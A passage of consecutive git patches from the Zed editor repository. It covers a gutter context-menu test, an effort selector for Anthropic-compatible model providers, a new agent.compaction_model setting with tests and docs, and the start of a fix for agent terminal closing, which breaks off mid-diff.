+    // ensuring that excerpt headers will now play a part in offsetting display
+    // rows from buffer rows.
+    editor.update_in(cx, |editor, window, cx| {
+        let display_snapshot = editor.display_snapshot(cx);
+        let buffer_snapshot = display_snapshot.buffer_snapshot();
+        let buffer_anchor = buffer_b.read(cx).snapshot().anchor_before(Point::new(1, 0));
+        let multibuffer_anchor = buffer_snapshot.anchor_in_buffer(buffer_anchor).unwrap();
+        let buffer_point = buffer_snapshot.summary_for_anchor::<Point>(&multibuffer_anchor);
+        let display_row = display_snapshot
+            .point_to_display_point(buffer_point, Bias::Left)
+            .row();
+
+        assert_ne!(
+            display_row.0, buffer_point.row,
+            "display row should be offset from the multibuffer row by excerpt headers"
+        );
+
+        editor.set_gutter_context_menu(display_row, None, Default::default(), window, cx);
+    });
+
+    // We'll now confirm that the `MenuPosition`'s source has been set to the
+    // correct buffer anchor (1, 0), instead of simply taking the display row.
+    editor.update(cx, |editor, cx| {
+        let menu = editor.mouse_context_menu.as_ref().unwrap();
+        let snapshot = editor.buffer().read(cx).snapshot(cx);
+        let MenuPosition::PinnedToEditor { source, .. } = &menu.position else {
+            panic!("expected gutter context menu to be pinned to the editor");
+        };
+
+        let (buffer_anchor, buffer_snapshot) = snapshot
+            .anchor_to_buffer_anchor(*source)
+            .expect("menu anchor should resolve to a buffer");
+
+        assert_eq!(buffer_snapshot.remote_id(), buffer_b.read(cx).remote_id());
+        assert_eq!(
+            buffer_snapshot.summary_for_anchor::<Point>(&buffer_anchor),
+            Point::new(1, 0),
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_breakpoint_after_save_as_existing_path(cx: &mut TestAppContext) {
     init_test(cx, |_| {});

From 066c6e2691b9105ff126949103b0869f2aaada5e Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Fri, 24 Jul 2026 14:48:41 +0200
Subject: [PATCH 680/772] agent: Show effort selector for anthropic compatible
 providers (#61579)

Follow up to #57207

Release Notes:

- agent: Show reasoning effort selector for anthropic compatible
providers if model supports adaptive thinking
---
 .../src/provider/anthropic_compatible.rs      | 103 +++++++++++++++++-
 1 file changed, 102 insertions(+), 1 deletion(-)

diff --git a/crates/language_models/src/provider/anthropic_compatible.rs b/crates/language_models/src/provider/anthropic_compatible.rs
index 49813405000f69..4d31e596b2197a 100644
--- a/crates/language_models/src/provider/anthropic_compatible.rs
+++ b/crates/language_models/src/provider/anthropic_compatible.rs
@@ -77,12 +77,91 @@ fn available_model_to_anthropic_model(available: &AvailableModel) -> anthropic::
         supports_images: available.capabilities.images,
         supports_speed: false,
         supports_compaction: false,
-        supported_effort_levels: Vec::new(),
+        supported_effort_levels: if supports_adaptive_thinking {
+            vec![
+                anthropic::Effort::Low,
+                anthropic::Effort::Medium,
+                anthropic::Effort::High,
+                anthropic::Effort::XHigh,
+                anthropic::Effort::Max,
+            ]
+        } else {
+            Vec::new()
+        },
         tool_override: available.tool_override.clone(),
         extra_beta_headers: available.extra_beta_headers.clone(),
     }
 }
 
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn parse_available_model(json: &str) -> AvailableModel {
+        serde_json::from_str(json).expect("test fixture should parse")
+    }
+
+    #[test]
+    fn adaptive_mode_maps_to_adaptive_thinking_with_all_effort_levels() {
+        let available = parse_available_model(
+            r#"{
+                "name": "claude-opus-4-7",
+                "max_tokens": 1000000,
+                "max_output_tokens": 128000,
+                "mode": { "type": "adaptive" }
+            }"#,
+        );
+        let model = available_model_to_anthropic_model(&available);
+
+        assert_eq!(model.mode, AnthropicModelMode::AdaptiveThinking);
+        assert!(model.supports_thinking);
+        assert!(model.supports_adaptive_thinking);
+        assert_eq!(
+            model.supported_effort_levels,
+            vec![
+                anthropic::Effort::Low,
+                anthropic::Effort::Medium,
+                anthropic::Effort::High,
+                anthropic::Effort::XHigh,
+                anthropic::Effort::Max,
+            ]
+        );
+    }
+
+    #[test]
+    fn thinking_mode_does_not_enable_adaptive() {
+        let available = parse_available_model(
+            r#"{
+                "name": "claude-sonnet-4-5",
+                "max_tokens": 200000,
+                "mode": { "type": "thinking", "budget_tokens": 4096 }
+            }"#,
+        );
+        let model = available_model_to_anthropic_model(&available);
+
+        assert!(matches!(model.mode, AnthropicModelMode::Thinking { .. }));
+        assert!(model.supports_thinking);
+        assert!(!model.supports_adaptive_thinking);
+        assert!(model.supported_effort_levels.is_empty());
+    }
+
+    #[test]
+    fn default_mode_disables_thinking() {
+        let available = parse_available_model(
+            r#"{
+                "name": "claude-3-5-haiku",
+                "max_tokens": 200000
+            }"#,
+        );
+        let model = available_model_to_anthropic_model(&available);
+
+        assert_eq!(model.mode, AnthropicModelMode::Default);
+        assert!(!model.supports_thinking);
+        assert!(!model.supports_adaptive_thinking);
+        assert!(model.supported_effort_levels.is_empty());
+    }
+}
+
 impl AnthropicCompatibleLanguageModelProvider {
     pub fn new(
         id: Arc<str>,
@@ -313,6 +392,28 @@ impl LanguageModel for AnthropicCompatibleLanguageModel {
         self.model.supports_thinking
     }
 
+    fn supported_effort_levels(&self) -> Vec<language_model::LanguageModelEffortLevel> {
+        self.model
+            .supported_effort_levels
+            .iter()
+            .map(|effort| {
+                let is_default = matches!(effort, anthropic::Effort::High);
+                let (name, value) = match effort {
+                    anthropic::Effort::Low => ("Low".into(), "low".into()),
+                    anthropic::Effort::Medium => ("Medium".into(), "medium".into()),
+                    anthropic::Effort::High => ("High".into(), "high".into()),
+                    anthropic::Effort::XHigh => ("XHigh".into(), "xhigh".into()),
+                    anthropic::Effort::Max => ("Max".into(), "max".into()),
+                };
+                language_model::LanguageModelEffortLevel {
+                    name,
+                    value,
+                    is_default,
+                }
+            })
+            .collect()
+    }
+
     fn telemetry_id(&self) -> String {
         format!("anthropic/{}", self.model.id)
     }

From 9a5344b9eb49d4734b00bce786d4bf0c5f70f3a0 Mon Sep 17 00:00:00 2001
From: Enoch <22071010+enoch-robinson@users.noreply.github.com>
Date: Fri, 24 Jul 2026 20:48:58 +0800
Subject: [PATCH 681/772] agent: Add `agent.compaction_model` setting for
 context compaction (#60012)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Add a new `agent.compaction_model` setting that lets users specify a
separate language model for context compaction (`/compact` and
auto-compaction), independent of the thread's active conversation model.

Compaction is just summarization — there's no reason to pay Opus prices
for it when a cheaper model does the job faster. We've also seen
reasoning models misbehave on this task (empty responses, repetition
loops at high effort), so picking a dedicated non-reasoning model for
compaction is useful.


## Solution

- New `compaction_model: Option<LanguageModelSelection>` field in
`AgentSettingsContent` and `AgentSettings`, mirroring
`thread_summary_model`.
- New `compaction_model: Option<ConfiguredModel>` slot on
`LanguageModelRegistry` with `select_/set_/compaction_model()` trio,
mirroring the existing pattern. The setter deliberately does **not**
emit a registry event in v1; callers read the slot lazily at compaction
time.
- New `Thread::compaction_model(&self, cx: &App)` helper that returns
the configured model or falls back to `self.model()`. Two call sites —
`Thread::compact` and `perform_compaction_if_needed` — now go through
this helper instead of reading `self.model()` directly.
- `build_compaction_telemetry` accepts the compaction model explicitly
so the `model` field reflects the model that actually streamed the
request. `max_tokens` still derives from `thread.model()` (threshold
semantics are unchanged).
- Documentation updated at `docs/src/ai/agent-settings.md` (new
user-facing setting).

**Example:**

```json
{
  "agent": {
    "default_model": {
      "provider": "anthropic",
      "model": "claude-opus-4-6"
    },
    "compaction_model": {
      "provider": "anthropic",
      "model": "claude-sonnet-4-5"
    }
  }
}
```

**Resolution chain:**

```
agent.compaction_model (if set & available)
  → thread.model()  (always available, current behavior)
```

**Behavior change:**

| Trigger | Before | After |
| --- | --- | --- |
| Manual `/compact` | Uses `thread.model()` | Uses
`agent.compaction_model` if set & available; else `thread.model()` |
| Auto-compaction | Uses `thread.model()` | Same as above |
| `/compact` when thread has no model | `NoModelConfiguredError` |
Succeeds if `compaction_model` resolves |
| `compaction_model` configured but provider missing / model id unknown
| n/a | Falls back to `thread.model()` and logs a one-time warning |

**Explicit non-goals:**

- No `Event::CompactionModelChanged`(no consumer; the `_cx` parameter on
`set_compaction_model` is intentionally accepted for future use).
- No GUI selector (consistent with all other feature-specific models).
- No per-profile override.
- No runtime API-error fallback — only config-time failure (provider not
registered, model id not in `provided_models`) triggers fallback. This
matches every other feature-specific model.
- No change to threshold calculation, auto-compact trigger, or
`COMPACTION_PROMPT`.
- No propagation to subagent threads.

## Testing

3 new unit tests in `crates/agent/src/thread.rs::tests`:

- `test_compaction_uses_configured_compaction_model` — manual `/compact`
routes to the configured model; thread's primary model receives no
request; telemetry reflects the configured model.
- `test_compaction_falls_back_when_compaction_model_unavailable` —
configured-but-unresolvable falls back to `thread.model()`; telemetry
reflects the fallback model.
- `test_auto_compaction_uses_compaction_model` — auto-compaction
triggered by threshold honors the same setting.

All 14 existing compaction tests still pass. Test suites in
`crates/agent_settings`, `crates/language_model`,
`crates/settings_content`, `crates/agent_ui` unchanged. `cargo clippy`
clean on the changed crates.

**How reviewers can test:**

1. Add `agent.compaction_model` to `settings.json` with a cheaper model
than the thread's primary model, run `/compact`, observe the cheaper
model receives the request.
2. Set `agent.compaction_model` to a non-existent provider/model id, run
`/compact`, observe fallback to thread model and a `log::warn!` line.
3. Trigger auto-compaction by reaching the threshold, observe it uses
`compaction_model`.

**Platforms tested:** local Linux (cargo check + cargo test on agent /
agent_settings / language_model / settings_content / agent_ui crates).

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments — no `unsafe`
blocks introduced
- [x] The content adheres to Zed's UI standards — N/A: settings-only
change, no UI touched
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable — model
resolution is an O(1) registry lookup, not on any hot path; no new work
in the streaming loop


Release Notes:

- agent: Add support for specifying which model is used for compaction
(`agent.compaction_model`)

---------

Co-authored-by: Bennet Bo Fenner <bennetbo@gmx.de>
Co-authored-by: Bennet Bo Fenner <bennet@zed.dev>
---
 crates/agent/src/thread.rs                  | 222 +++++++++++++++++++-
 crates/agent/src/tool_permissions.rs        |   1 +
 crates/agent_settings/src/agent_settings.rs |   2 +
 crates/agent_ui/src/agent_ui.rs             |   3 +
 crates/language_model/src/registry.rs       |  32 +++
 crates/settings_content/src/agent.rs        |   5 +
 docs/src/ai/agent-settings.md               |  24 +++
 7 files changed, 278 insertions(+), 11 deletions(-)

diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 168be7677e4f45..75fb004ed3ae7e 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -2516,8 +2516,7 @@ impl Thread {
         cx: &mut Context<Self>,
     ) -> Result<mpsc::UnboundedReceiver<Result<ThreadEvent>>> {
         let model = self
-            .model()
-            .cloned()
+            .compaction_model(cx)
             .ok_or_else(|| anyhow!(NoModelConfiguredError))?;
 
         // Flush any pending message and cancel an in-flight turn before we
@@ -2530,11 +2529,12 @@ impl Thread {
             self.advance_prompt_id();
             let request = self.build_compaction_request(request_end_ix, &model, cx);
             self.current_request_token_usage = TokenUsage::default();
-            (model, request)
+            (model.clone(), request)
         });
 
         if compaction.is_some() {
-            self.pending_compaction_telemetry = self.build_compaction_telemetry("manual", cx);
+            self.pending_compaction_telemetry =
+                self.build_compaction_telemetry("manual", &model, cx);
         }
 
         self.clear_summary();
@@ -3092,13 +3092,14 @@ impl Thread {
     ) -> Result<ControlFlow<()>> {
         let Some((model, request, insertion_ix)) = this.update(cx, |this, cx| {
             let insertion_ix = this.compaction_message_target_ix(cx)?;
-            let model = this.model().cloned()?;
+            let model = this.compaction_model(cx)?;
             let request = this.build_compaction_request(insertion_ix, &model, cx);
             this.current_request_token_usage = TokenUsage::default();
             // Preserve telemetry across retries so the retry count keeps
             // accumulating rather than resetting on each attempt.
             if this.pending_compaction_telemetry.is_none() {
-                this.pending_compaction_telemetry = this.build_compaction_telemetry("auto", cx);
+                this.pending_compaction_telemetry =
+                    this.build_compaction_telemetry("auto", &model, cx);
             }
             Some((model, request, insertion_ix))
         })?
@@ -4318,11 +4319,10 @@ impl Thread {
         extend_request_history_until(&self.messages, request_messages, end_ix);
     }
 
-    /// Captures the data for an `"Agent Compaction Completed"` telemetry event
-    /// at the moment a compaction starts. Returns `None` if there's no model.
     fn build_compaction_telemetry(
         &self,
         trigger: &'static str,
+        compaction_model: &Arc<dyn LanguageModel>,
         cx: &App,
     ) -> Option<CompactionTelemetry> {
         let model = self.model()?;
@@ -4338,7 +4338,7 @@ impl Thread {
             parent_thread_id: self.parent_thread_id().map(|id| id.to_string()),
             prompt_id: self.prompt_id.to_string(),
             model: model.telemetry_id(),
-            model_provider: model.provider_id().to_string(),
+            compaction_model: compaction_model.telemetry_id(),
             thinking_effort: self.thinking_effort.clone(),
             max_tokens,
             tokens_before,
@@ -4431,6 +4431,13 @@ impl Thread {
         Some(self.messages.len())
     }
 
+    fn compaction_model(&self, cx: &App) -> Option<Arc<dyn LanguageModel>> {
+        LanguageModelRegistry::read_global(cx)
+            .compaction_model()
+            .map(|m| m.model)
+            .or_else(|| self.model().cloned())
+    }
+
     fn build_compaction_request(
         &self,
         insertion_ix: usize,
@@ -4608,7 +4615,7 @@ struct CompactionTelemetry {
     parent_thread_id: Option<String>,
     prompt_id: String,
     model: String,
-    model_provider: String,
+    compaction_model: String,
     thinking_effort: Option<String>,
     max_tokens: u64,
     /// Tokens in the context window immediately before compaction.
@@ -4632,7 +4639,7 @@ impl CompactionTelemetry {
             parent_thread_id = self.parent_thread_id,
             prompt_id = self.prompt_id,
             model = self.model,
-            model_provider = self.model_provider,
+            compaction_model = self.compaction_model,
             thinking_effort = self.thinking_effort,
             max_tokens = self.max_tokens,
             tokens_before = self.tokens_before,
@@ -6670,12 +6677,15 @@ mod tests {
     use language_model::LanguageModelToolUseId;
     use language_model::fake_provider::FakeLanguageModel;
     use serde_json::json;
+    use settings::LanguageModelProviderSetting;
     use std::sync::Arc;
 
     async fn setup_thread_for_test(cx: &mut TestAppContext) -> (Entity<Thread>, ThreadEventStream) {
         cx.update(|cx| {
             let settings_store = settings::SettingsStore::test(cx);
             cx.set_global(settings_store);
+
+            LanguageModelRegistry::test(cx);
         });
 
         let fs = fs::FakeFs::new(cx.background_executor.clone());
@@ -6712,6 +6722,19 @@ mod tests {
         AgentSettings::override_global(settings, cx);
     }
 
+    fn set_registry_compaction_model(cx: &mut App, model: Option<Arc<dyn LanguageModel>>) {
+        use language_model::fake_provider::FakeLanguageModelProvider;
+        use language_model::{ConfiguredModel, LanguageModelProvider};
+        LanguageModelRegistry::global(cx).update(cx, |registry, cx| {
+            let configured = model.map(|m| ConfiguredModel {
+                provider: Arc::new(FakeLanguageModelProvider::default())
+                    as Arc<dyn LanguageModelProvider>,
+                model: m,
+            });
+            registry.set_compaction_model(configured, cx);
+        });
+    }
+
     #[test]
     fn test_summary_compaction_renders_for_request_and_markdown() {
         let message = Message::Compaction(CompactionInfo::Summary("Older context".into()));
@@ -7397,6 +7420,183 @@ mod tests {
         );
     }
 
+    /// When `agent.compaction_model` is configured, manual `/compact` streams
+    /// to the configured model rather than the thread's primary model.
+    #[gpui::test]
+    async fn test_compaction_uses_configured_compaction_model(cx: &mut TestAppContext) {
+        let (thread, _event_stream) = setup_thread_for_test(cx).await;
+        let thread_model = Arc::new(FakeLanguageModel::default());
+        let compaction_model = Arc::new(FakeLanguageModel::default());
+
+        cx.update(|cx| {
+            thread.update(cx, |thread, cx| {
+                thread.set_model(thread_model.clone(), cx);
+                thread
+                    .messages
+                    .push(user_text_message(ClientUserMessageId::new(), "old user"));
+                thread.messages.push(agent_text_message("old assistant"));
+            });
+            set_registry_compaction_model(cx, Some(compaction_model.clone()));
+        });
+
+        let _events = cx
+            .update(|cx| {
+                thread.update(cx, |thread, cx| {
+                    thread.compact(ClientUserMessageId::new(), cx)
+                })
+            })
+            .unwrap();
+        cx.run_until_parked();
+
+        assert_eq!(
+            thread_model.pending_completions().len(),
+            0,
+            "thread's primary model should not have been used for compaction"
+        );
+        let request = compaction_model
+            .pending_completions()
+            .pop()
+            .expect("compaction model should have received the request");
+        assert_eq!(
+            request.intent,
+            Some(CompletionIntent::ThreadContextSummarization)
+        );
+
+        thread.read_with(cx, |thread, _cx| {
+            let telemetry = thread
+                .pending_compaction_telemetry
+                .as_ref()
+                .expect("pending telemetry");
+            assert_eq!(telemetry.model, compaction_model.telemetry_id());
+        });
+
+        compaction_model.send_completion_stream_text_chunk(&request, "summary");
+        compaction_model.end_completion_stream(&request);
+        cx.run_until_parked();
+    }
+
+    /// When `agent.compaction_model` is configured but doesn't resolve (e.g.
+    /// the provider isn't registered), manual `/compact` falls back to the
+    /// thread's primary model and the telemetry reflects the actual stream
+    /// model — not the one the user tried to configure.
+    #[gpui::test]
+    async fn test_compaction_falls_back_when_compaction_model_unavailable(cx: &mut TestAppContext) {
+        let (thread, _event_stream) = setup_thread_for_test(cx).await;
+        let thread_model = Arc::new(FakeLanguageModel::default());
+
+        cx.update(|cx| {
+            thread.update(cx, |thread, cx| {
+                thread.set_model(thread_model.clone(), cx);
+                thread
+                    .messages
+                    .push(user_text_message(ClientUserMessageId::new(), "old user"));
+                thread.messages.push(agent_text_message("old assistant"));
+            });
+            // Settings say "configured"; registry says "couldn't resolve".
+            let mut settings = AgentSettings::get_global(cx).clone();
+            settings.compaction_model = Some(LanguageModelSelection {
+                provider: LanguageModelProviderSetting("missing".into()),
+                model: "missing-model".into(),
+                enable_thinking: false,
+                effort: None,
+                speed: None,
+            });
+            AgentSettings::override_global(settings, cx);
+            set_registry_compaction_model(cx, None);
+        });
+
+        let _events = cx
+            .update(|cx| {
+                thread.update(cx, |thread, cx| {
+                    thread.compact(ClientUserMessageId::new(), cx)
+                })
+            })
+            .unwrap();
+        cx.run_until_parked();
+
+        let request = thread_model
+            .pending_completions()
+            .pop()
+            .expect("thread model should have received the fallback request");
+        assert_eq!(
+            request.intent,
+            Some(CompletionIntent::ThreadContextSummarization)
+        );
+
+        thread.read_with(cx, |thread, _cx| {
+            let telemetry = thread
+                .pending_compaction_telemetry
+                .as_ref()
+                .expect("pending telemetry");
+            assert_eq!(telemetry.model, thread_model.telemetry_id());
+        });
+
+        thread_model.send_completion_stream_text_chunk(&request, "summary");
+        thread_model.end_completion_stream(&request);
+        cx.run_until_parked();
+    }
+
+    /// Auto-compaction triggered by the threshold also honors
+    /// `agent.compaction_model`.
+    #[gpui::test]
+    async fn test_auto_compaction_uses_compaction_model(cx: &mut TestAppContext) {
+        let (thread, _event_stream) = setup_thread_for_test(cx).await;
+        let thread_model = Arc::new(FakeLanguageModel::default());
+        let compaction_model = Arc::new(FakeLanguageModel::default());
+        let old_user_message_id = ClientUserMessageId::new();
+
+        cx.update(|cx| {
+            thread.update(cx, |thread, cx| {
+                thread.set_model(thread_model.clone(), cx);
+                thread
+                    .messages
+                    .push(user_text_message(old_user_message_id.clone(), "old user"));
+                thread.messages.push(agent_text_message("old assistant"));
+                thread.request_token_usage.insert(
+                    old_user_message_id.clone(),
+                    TokenUsage {
+                        input_tokens: u64::MAX,
+                        ..Default::default()
+                    },
+                );
+            });
+            set_auto_compact_settings(
+                cx,
+                agent_settings::AutoCompactSettings {
+                    enabled: true,
+                    threshold: agent_settings::AutoCompactThreshold::Percentage(0.5),
+                },
+            );
+            set_registry_compaction_model(cx, Some(compaction_model.clone()));
+        });
+
+        // The auto-compact gate fires inside `run_turn` when we kick off a
+        // new user message. Drive a `send` so `perform_compaction_if_needed`
+        // runs.
+        let _events = cx
+            .update(|cx| {
+                thread.update(cx, |thread, cx| {
+                    thread.send(ClientUserMessageId::new(), vec!["new prompt"], cx)
+                })
+            })
+            .unwrap();
+        cx.run_until_parked();
+
+        assert_eq!(thread_model.pending_completions().len(), 0);
+        let request = compaction_model
+            .pending_completions()
+            .pop()
+            .expect("compaction model should have received the auto-compaction request");
+        assert_eq!(
+            request.intent,
+            Some(CompletionIntent::ThreadContextSummarization)
+        );
+
+        compaction_model.send_completion_stream_text_chunk(&request, "summary");
+        compaction_model.end_completion_stream(&request);
+        cx.run_until_parked();
+    }
+
     #[gpui::test]
     async fn test_compaction_usage_counts_toward_cumulative_usage(cx: &mut TestAppContext) {
         let (thread, _event_stream) = setup_thread_for_test(cx).await;
diff --git a/crates/agent/src/tool_permissions.rs b/crates/agent/src/tool_permissions.rs
index 02198a3f8db415..601c24d73af2c0 100644
--- a/crates/agent/src/tool_permissions.rs
+++ b/crates/agent/src/tool_permissions.rs
@@ -583,6 +583,7 @@ mod tests {
             commit_message_include_project_rules: true,
             commit_message_instructions: None,
             thread_summary_model: None,
+            compaction_model: None,
             inline_alternatives: vec![],
             favorite_models: vec![],
             default_profile: AgentProfileId::default(),
diff --git a/crates/agent_settings/src/agent_settings.rs b/crates/agent_settings/src/agent_settings.rs
index e1cce89d3b0223..534cebcca104dc 100644
--- a/crates/agent_settings/src/agent_settings.rs
+++ b/crates/agent_settings/src/agent_settings.rs
@@ -219,6 +219,7 @@ pub struct AgentSettings {
     pub commit_message_include_project_rules: bool,
     pub commit_message_instructions: Option<String>,
     pub thread_summary_model: Option<LanguageModelSelection>,
+    pub compaction_model: Option<LanguageModelSelection>,
     pub inline_alternatives: Vec<LanguageModelSelection>,
     pub favorite_models: Vec<LanguageModelSelection>,
     pub default_profile: AgentProfileId,
@@ -770,6 +771,7 @@ impl Settings for AgentSettings {
             commit_message_model: agent.commit_message_model,
             commit_message_instructions: agent.commit_message_instructions,
             thread_summary_model: agent.thread_summary_model,
+            compaction_model: agent.compaction_model,
             inline_alternatives: agent.inline_alternatives.unwrap_or_default(),
             favorite_models: agent.favorite_models,
             default_profile: AgentProfileId(agent.default_profile.unwrap()),
diff --git a/crates/agent_ui/src/agent_ui.rs b/crates/agent_ui/src/agent_ui.rs
index 91ae944e700e1b..1570315f888f2f 100644
--- a/crates/agent_ui/src/agent_ui.rs
+++ b/crates/agent_ui/src/agent_ui.rs
@@ -929,6 +929,7 @@ fn update_active_language_model_from_settings(cx: &mut App) {
         .thread_summary_model
         .as_ref()
         .map(to_selected_model);
+    let compaction = settings.compaction_model.as_ref().map(to_selected_model);
     let inline_alternatives = settings
         .inline_alternatives
         .iter()
@@ -940,6 +941,7 @@ fn update_active_language_model_from_settings(cx: &mut App) {
         registry.select_inline_assistant_model(inline_assistant.as_ref(), cx);
         registry.select_commit_message_model(commit_message.as_ref(), cx);
         registry.select_thread_summary_model(thread_summary.as_ref(), cx);
+        registry.select_compaction_model(compaction.as_ref(), cx);
         registry.select_inline_alternative_models(inline_alternatives, cx);
         registry.set_should_use_fallback(should_use_fallback);
     });
@@ -986,6 +988,7 @@ mod tests {
             commit_message_include_project_rules: true,
             commit_message_instructions: None,
             thread_summary_model: None,
+            compaction_model: None,
             inline_alternatives: vec![],
             favorite_models: vec![],
             default_profile: AgentProfileId::default(),
diff --git a/crates/language_model/src/registry.rs b/crates/language_model/src/registry.rs
index 28033e482f362b..f9a00a3f460c54 100644
--- a/crates/language_model/src/registry.rs
+++ b/crates/language_model/src/registry.rs
@@ -53,6 +53,7 @@ pub struct LanguageModelRegistry {
     inline_assistant_model: Option<ConfiguredModel>,
     commit_message_model: Option<ConfiguredModel>,
     thread_summary_model: Option<ConfiguredModel>,
+    compaction_model: Option<ConfiguredModel>,
     providers: BTreeMap<LanguageModelProviderId, Arc<dyn LanguageModelProvider>>,
     inline_alternatives: Vec<Arc<dyn LanguageModel>>,
     /// Set of installed extension IDs that provide language models.
@@ -111,6 +112,7 @@ pub enum Event {
     DefaultModelChanged,
     InlineAssistantModelChanged,
     CommitMessageModelChanged,
+    CompactionModelChanged,
     ThreadSummaryModelChanged,
     ProviderStateChanged(LanguageModelProviderId),
     AddedProvider(LanguageModelProviderId),
@@ -324,6 +326,15 @@ impl LanguageModelRegistry {
         self.set_thread_summary_model(configured_model, cx);
     }
 
+    pub fn select_compaction_model(
+        &mut self,
+        model: Option<&SelectedModel>,
+        cx: &mut Context<Self>,
+    ) {
+        let configured_model = model.and_then(|model| self.select_model(model, cx));
+        self.set_compaction_model(configured_model, cx);
+    }
+
     /// Selects and sets the inline alternatives for language models based on
     /// provider name and id.
     pub fn select_inline_alternative_models(
@@ -436,6 +447,15 @@ impl LanguageModelRegistry {
         self.thread_summary_model = model;
     }
 
+    pub fn set_compaction_model(&mut self, model: Option<ConfiguredModel>, cx: &mut Context<Self>) {
+        match (self.compaction_model.as_ref(), model.as_ref()) {
+            (Some(old), Some(new)) if old.is_same_as(new) => {}
+            (None, None) => {}
+            _ => cx.emit(Event::CompactionModelChanged),
+        }
+        self.compaction_model = model;
+    }
+
     pub fn default_model(&self) -> Option<ConfiguredModel> {
         #[cfg(debug_assertions)]
         if std::env::var("ZED_SIMULATE_NO_LLM_PROVIDER").is_ok() {
@@ -495,6 +515,18 @@ impl LanguageModelRegistry {
             .or_else(|| self.default_model())
     }
 
+    /// Returns the configured compaction model without falling back through
+    /// `default_fast_model`/`default_model`. Callers that want a fallback to
+    /// the thread's primary model should handle `None` themselves.
+    pub fn compaction_model(&self) -> Option<ConfiguredModel> {
+        #[cfg(debug_assertions)]
+        if std::env::var("ZED_SIMULATE_NO_LLM_PROVIDER").is_ok() {
+            return None;
+        }
+
+        self.compaction_model.clone()
+    }
+
     /// The models to use for inline assists. Returns the union of the active
     /// model and all inline alternatives. When there are multiple models, the
     /// user will be able to cycle through results.
diff --git a/crates/settings_content/src/agent.rs b/crates/settings_content/src/agent.rs
index 460714c4622d6f..a365f675b14579 100644
--- a/crates/settings_content/src/agent.rs
+++ b/crates/settings_content/src/agent.rs
@@ -258,6 +258,11 @@ pub struct AgentSettingsContent {
     pub commit_message_instructions: Option<String>,
     /// Model to use for generating thread summaries. Defaults to default_model when not specified.
     pub thread_summary_model: Option<LanguageModelSelection>,
+    /// Model to use for context compaction (`/compact` and auto-compaction).
+    /// Falls back to the thread's currently selected model when not specified.
+    /// If the configured model is unavailable (provider not registered, model
+    /// not found), the thread's current model is used instead.
+    pub compaction_model: Option<LanguageModelSelection>,
     /// Additional models with which to generate alternatives when performing inline assists.
     pub inline_alternatives: Option<Vec<LanguageModelSelection>>,
     /// The default profile to use in the Agent.
diff --git a/docs/src/ai/agent-settings.md b/docs/src/ai/agent-settings.md
index 6c29cc6dd102ab..406695f0d8afa8 100644
--- a/docs/src/ai/agent-settings.md
+++ b/docs/src/ai/agent-settings.md
@@ -38,6 +38,7 @@ Some Zed AI features have their own model or prompt settings in `settings.json`,
 - `agent.inline_assistant_model`
 - `agent.commit_message_model`
 - `agent.thread_summary_model`
+- `agent.compaction_model`
 - `agent.subagent_model`
 - `agent.commit_message_instructions`
 - `agent.inline_alternatives`
@@ -83,6 +84,29 @@ The `threshold` value can be one of:
 
 You can compact a Zed Agent thread manually at any time by typing `/compact` in the Agent Panel message editor. For more on thread token usage and compaction behavior, see [Token Usage and Compaction](./agent-panel.md#token-usage).
 
+## Compaction Model {#compaction-model}
+
+By default, context compaction (both `/compact` and auto-compaction) uses the thread's currently selected model. Set `agent.compaction_model` to use a different model:
+
+```json [settings]
+{
+  "agent": {
+    "default_model": {
+      "provider": "anthropic",
+      "model": "claude-opus-4-6"
+    },
+    "compaction_model": {
+      "provider": "anthropic",
+      "model": "claude-sonnet-4-5"
+    }
+  }
+}
+```
+
+**Notes:**
+
+- The configured model should have a context window at least as large as the thread's primary model for predictable behavior.
+
 ## External Agents {#external-agents}
 
 The External Agents section configures ACP-integrated agents.

From 104ccf4bb6eace1b7b01a9929c301f362f0c67f9 Mon Sep 17 00:00:00 2001
From: Hugh L <captainhugh@foxmail.com>
Date: Fri, 24 Jul 2026 20:52:03 +0800
Subject: [PATCH 682/772] agent_ui: Fix agent terminal close behavior with
 keyboard shortcuts (#58217)

Self-Review Checklist:

- [ *] I've reviewed my own diff for quality, security, and reliability
- [ *] Unsafe blocks (if any) have justifying comments
- [ *] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ *] Tests cover the new/changed behavior
- [ *] Performance impact has been considered and is acceptable

What:
  - Closing the active terminal from the sidebar activated the remaining
terminal.But closing a terminal with Ctrl-D could leave the agent panel
in an
uninitialized `Zed Agent` state instead of activating the remaining
terminal.
<img width="804" height="380" alt="image"
src="https://github.com/user-attachments/assets/eaa67c6e-7f3d-4a1c-b72d-9cabfaab872b"
/>

How:
  - Terminal exits emit `TerminalCloseRequested`.
- The sidebar handles that request through the same close path used by
the
  sidebar close button.
- Neighbor activation, draft fallback, metadata cleanup, and
linked-worktree/
  archive handling stay centralized in the sidebar close flow.

Added test coverage for closing an active terminal via terminal exit and
  activating the remaining terminal neighbor.

Testing:
  - `cargo check -p agent_ui`
  - `cargo check -p sidebar`
  - Manually verified Ctrl-D terminal close behavior with multiple agent
  threads/terminals

Release Notes:

- Fixed closing an agent terminal with Ctrl-D leaving the agent panel
  uninitialized instead of activating the remaining terminal
---
 crates/agent_ui/src/agent_panel.rs       | 55 ++++--------------------
 crates/agent_ui/src/conversation_view.rs |  2 +-
 crates/sidebar/src/sidebar.rs            | 18 ++++++--
 crates/sidebar/src/sidebar_tests.rs      | 40 +++++++++++++++++
 4 files changed, 64 insertions(+), 51 deletions(-)

diff --git a/crates/agent_ui/src/agent_panel.rs b/crates/agent_ui/src/agent_panel.rs
index 11d0986603e00a..72f99f3d6b5fdf 100644
--- a/crates/agent_ui/src/agent_panel.rs
+++ b/crates/agent_ui/src/agent_panel.rs
@@ -2198,7 +2198,7 @@ impl AgentPanel {
                 }
                 TerminalEvent::Bell => this.mark_terminal_notification(terminal_id, window, cx),
                 TerminalEvent::CloseTerminal => {
-                    this.close_terminal_from_terminal_event(terminal_id, window, cx);
